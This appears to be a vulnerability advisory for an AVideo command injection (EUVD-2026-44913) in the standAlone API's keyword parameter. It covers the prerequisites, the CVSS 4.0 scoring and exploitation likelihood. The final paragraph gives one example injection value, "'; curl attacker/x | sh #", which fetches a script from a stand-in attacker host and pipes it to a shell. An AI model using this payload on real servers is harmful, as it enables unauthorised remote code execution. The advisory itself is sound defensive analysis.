AVideo EUVD-2026-44913

Exploitation requires the attacker to craft a valid encrypted codeToExec payload accepted by AVideo's standAlone API and to reach the plugin/API/standAlone/functions.php endpoint that invokes listFFmpegProcesses(); the injection is delivered through the keyword parameter, which is placed inside single quotes without escaping. No authentication is required (CVSS PR:N), but exploitation is limited by the need to produce a cryptographically valid encrypted payload - reflected in CVSS AC:H and AT:P - which prevents trivial unauthenticated abuse and is the main factor constraining real-world exploitation. The standAlone API plugin path must be deployed and network-reachable.

The vendor-supplied CVSS 4.0 score is 9.2 (critical) with vector AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H, meaning network-reachable, unauthenticated, full confidentiality/integrity/availability impact on the vulnerable system, but explicitly high attack complexity (AC:H) and a present attack requirement (AT:P). Those AC:H/AT:P metrics are the crux: the description confirms an attacker must craft a valid encrypted codeToExec payload before the injection is reachable, so this is not a trivial spray-and-pray bug despite the network vector. No EPSS score was provided in the input, there is no CISA KEV listing, and no public proof-of-concept is referenced - the only signal of interest to threat actors is the VulnCheck advisory. Net assessment: a genuinely high-severity RCE, but the encryption/payload-crafting prerequisite meaningfully lowers real-world mass-exploitation likelihood relative to a raw 9.2, making this a patch-soon rather than drop-everything item unless AVideo is internet-exposed. EPSS is missing, so widespread-exploitation probability cannot be quantified from the provided data.

An attacker who can generate a valid encrypted codeToExec payload sends a crafted request to AVideo's standAlone API, passing a keyword parameter containing a single quote followed by shell metacharacters (e.g. '; curl attacker/x | sh #). The injected commands break out of the grep single-quote context in listFFmpegProcesses() and execute as the web-server user, yielding remote code execution. No public proof-of-concept is referenced, and the required valid encrypted payload raises the practical bar for exploitation.